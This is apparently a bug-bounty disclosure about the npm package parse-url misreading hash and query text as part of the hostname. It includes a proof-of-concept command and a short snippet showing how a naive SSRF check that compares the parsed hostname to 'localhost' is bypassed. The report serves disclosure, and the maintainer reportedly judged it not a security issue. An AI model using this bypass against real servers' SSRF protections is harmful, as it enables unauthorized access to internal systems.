hostname spoofing via Improper Input Validation in ionicabizau/parse-url
Reported on
Mar 11th 2022
Description
When to use the parse-url, If user put the https://google.com#hashvalue
as argument, parse-url doesn't parse the hash value and parses hostname and hash together as hostname. http://localhost/#hashvalue
and http://localhost#hashvalue
are the same..
- new URL() of node
❯ node -e 'console.log(new URL("http://localhost#hashvalue"))'
URL {
href: 'http://localhost/#hashvalue',
origin: 'http://localhost',
protocol: 'http:',
username: '',
password: '',
host: 'localhost',
hostname: 'localhost',
port: '',
pathname: '/',
search: '',
searchParams: URLSearchParams {},
hash: '#hashvalue'
}
- url-parse of node
❯ node -e "const parser = require('url-parse');console.log(parser('http://localhost#hashvalue'))"
{
slashes: true,
protocol: 'http:',
hash: '#hashvalue',
query: '',
pathname: '/',
auth: '',
host: 'localhost',
port: '',
hostname: 'localhost',
password: '',
username: '',
origin: 'http://localhost',
href: 'http://localhost/#hashvalue'
}
- urllib.parse of python
❯ python3
Python 3.9.10 (main, Jan 15 2022, 11:48:04)
[Clang 13.0.0 (clang-1300.0.29.3)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from urllib.parse import urlparse
>>> urlparse('http://localhost#hashvalue')
ParseResult(scheme='http', netloc='localhost', path='', params='', query='', fragment='hashvalue')
>>>
- parse_url of php
❯ php -a
Interactive shell
php > $arr_url=parse_url('http://localhost#hashvalue');
php > foreach($arr_url as $key=>$data){ echo "[".$key."] : ".$data."\n";}
[scheme] : http
[host] : localhost
[fragment] : hashvalue
php >
It should be parsed as above. That way the vulnerability doesn't occur.
Proof of Concept
❯ node -e 'const parseUrl = require("parse-url"); console.log(parseUrl("http://localhost#hashvalue"))'
{
protocols: [ 'http' ],
protocol: 'http',
port: null,
resource: 'localhost#hashvalue',
user: '',
pathname: '',
hash: '',
search: '',
href: 'http://localhost#hashvalue',
query: [Object: null prototype] {}
}
Impact
const parseUrl = require("parse-url")
const http = require("http")
parsed = parseUrl('http://localhost#hashvalue')
if (parsed.resource== 'localhost') {
console.log('WAF!!!')
} else {
console.log('bypass!!')
console.log(http.get(parsed.href))
}
OutPut
bypass!!
ClientRequest {
_events: [Object: null prototype] {},
_eventsCount: 0,
_maxListeners: undefined,
outputData: [
{
data: 'GET / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n',
encoding: 'latin1',
callback: [Function: bound onFinish]
}
],
outputSize: 54,
writable: true,
destroyed: false,
_last: true,
chunkedEncoding: false,
shouldKeepAlive: false,
maxRequestsOnConnectionReached: false,
_defaultKeepAlive: true,
useChunkedEncodingByDefault: false,
sendDate: false,
_removedConnection: false,
_removedContLen: false,
_removedTE: false,
_contentLength: 0,
_hasBody: true,
_trailer: '',
finished: true,
_headerSent: true,
_closed: false,
socket: null,
_header: 'GET / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n',
_keepAliveTimeout: 0,
_onPendingData: [Function: nop],
agent: Agent {
_events: [Object: null prototype] {
free: [Function (anonymous)],
newListener: [Function: maybeEnableKeylog]
},
_eventsCount: 2,
_maxListeners: undefined,
defaultPort: 80,
protocol: 'http:',
options: [Object: null prototype] { path: null },
requests: [Object: null prototype] {},
sockets: [Object: null prototype] { 'localhost:80:': [Array] },
freeSockets: [Object: null prototype] {},
keepAliveMsecs: 1000,
keepAlive: false,
maxSockets: Infinity,
maxFreeSockets: 256,
scheduling: 'lifo',
maxTotalSockets: Infinity,
totalSocketCount: 1,
[Symbol(kCapture)]: false
},
socketPath: undefined,
method: 'GET',
maxHeaderSize: undefined,
insecureHTTPParser: undefined,
path: '/',
_ended: false,
res: null,
aborted: false,
timeoutCb: null,
upgradeOrConnect: false,
parser: null,
maxHeadersCount: null,
reusedSocket: false,
host: 'localhost',
protocol: 'http:',
[Symbol(kCapture)]: false,
[Symbol(kNeedDrain)]: false,
[Symbol(corked)]: 0,
[Symbol(kOutHeaders)]: [Object: null prototype] { host: [ 'Host', 'localhost' ] }
}
When the server has logic to prevent SSRF as above, it can be bypassed by chaining the hostname spoofing vulnerability through the hash value. This is one of the representative examples, and depending on the situation, Open Redirect or Oauth hijacking is also possible.
❯ node -e 'const parseUrl = require("parse-url"); console.log(parseUrl("http://localhost?asdf=asdf"))'
{
protocols: [ 'http' ],
protocol: 'http',
port: null,
resource: 'localhost?asdf=asdf',
user: '',
pathname: '',
hash: '',
search: '',
href: 'http://localhost?asdf=asdf',
query: [Object: null prototype] {}
}
Additionally, the same is true for query strings. Both result in hostname spoofing vulnerabilities.
❯ node -e "const parser = require('url-parse');console.log(parser('http://localhost?querystring'))"
{
slashes: true,
protocol: 'http:',
hash: '',
query: '?querystring',
pathname: '/',
auth: '',
host: 'localhost',
port: '',
hostname: 'localhost',
password: '',
username: '',
origin: 'http://localhost',
href: 'http://localhost/?querystring'
}
~/Desktop/Hacking/npm-research
❯ node -e 'console.log(new URL("http://localhost?querystring"))'
URL {
href: 'http://localhost/?querystring',
origin: 'http://localhost',
protocol: 'http:',
username: '',
password: '',
host: 'localhost',
hostname: 'localhost',
port: '',
pathname: '/',
search: '?querystring',
searchParams: URLSearchParams { 'querystring' => '' },
hash: ''
}
~/Desktop/Hacking/npm-research
❯ python3
Python 3.9.10 (main, Jan 15 2022, 11:48:04)
[Clang 13.0.0 (clang-1300.0.29.3)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from urllib.parse import urlparse
>>> urlparse("http://localhost?querystring")
ParseResult(scheme='http', netloc='localhost', path='', params='', query='querystring', fragment='')
>>>
~/Desktop/Hacking/npm-research 22s
❯ php -a
Interactive shell
php > $arr_url=parse_url('http://localhost?querystring');
php > foreach($arr_url as $key=>$data){ echo "[".$key."] : ".$data."\n";}
[scheme] : http
[host] : localhost
[query] : querystring
php >
This, too, must be parsed as above to avoid hostname spoofing vulnerabilities.
As per the maintainer's comment, this is not a security issue. Adjusting the severity...